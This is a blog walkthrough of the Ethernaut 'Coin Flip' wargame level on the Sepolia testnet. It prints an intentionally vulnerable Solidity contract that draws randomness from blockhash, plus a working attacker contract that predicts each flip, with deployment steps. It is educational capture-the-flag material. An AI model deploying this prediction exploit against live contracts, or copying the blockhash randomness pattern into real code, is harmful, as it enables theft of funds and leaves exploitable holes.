DEV Community

Cover image for Coin Flip - Level 03
Stefan Alfbo
Stefan Alfbo

Posted on

Coin Flip - Level 03

Problem statement

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

  • See the "?" page above in the top right corner menu, section "Beyond the console"
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.

await contract.address
Enter fullscreen mode Exit fullscreen mode

Open a new tab in your browser (Ctrl+t) and go to Remix.

Create a new file under the contracts folder and name it CoinFlipCheater.sol.

File explorer in remix

Add the following code to the new file.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip {
  function flip(bool _guess) external returns (bool);
}

contract CoinFlipCheater {
  address coinFlipAddress;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor(address _coinFlipAddress) {
      coinFlipAddress = _coinFlipAddress;
  }

  function flip() external returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool should_guess = coinFlip == 1 ? true : false;

    return CoinFlip(coinFlipAddress).flip(should_guess);
  }
}
Enter fullscreen mode Exit fullscreen mode

Go to the compiler and compile the new contract, CoinFlipCheater.

Compiler in remix

Next step is to deploy the contract to the Sepolia network. First make sure the you select the correct environment, Injected Provider - MetaMask

Environment

And make sure that the correct contract is selected.

Contract

Note that we will need to give the address to our contract (the one we got in the beginning) to the right of the deploy button. Push the Deploy button and sign the transaction with your MetaMask wallet.

There should be a button named flip when the contract has been deployed.

Flip button

Now we only need to push that button 10 times and sign each transaction with the MetaMask wallet, however we need to have some delay between the pushes, there can only be on flip per block.

We can confirm that we have the value ten in our browser console window with this code.

await contract.consecutiveWins()
Enter fullscreen mode Exit fullscreen mode

When 10, finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

It's difficult to create randomness in a Solidity contract because Ethereum transactions need to be deterministic.

In this contract the block number is the source for creating randomness.

uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
Enter fullscreen mode Exit fullscreen mode

So if we only know the block number it would be easy for us to guess the correct value to pass to the flip method.

The solution is to let another contract do the guessing for us and have access to the current block number.

  function flip() external returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool should_guess = coinFlip == 1 ? true : false;

    return CoinFlip(coinFlipAddress).flip(should_guess);
  }
Enter fullscreen mode Exit fullscreen mode

By running the same code as the CoinFlip contract will do we will get the expected value of the guess variable. That value is then used when calling the actual flip method on the CoinFlip contract.

To wrap it up we will only need to call our new contract and its flip method to guess the correct value now.

The feedback from when the challenge is completed is about how to handle random numbers in a better way.

Completed

Resources

Top comments (0)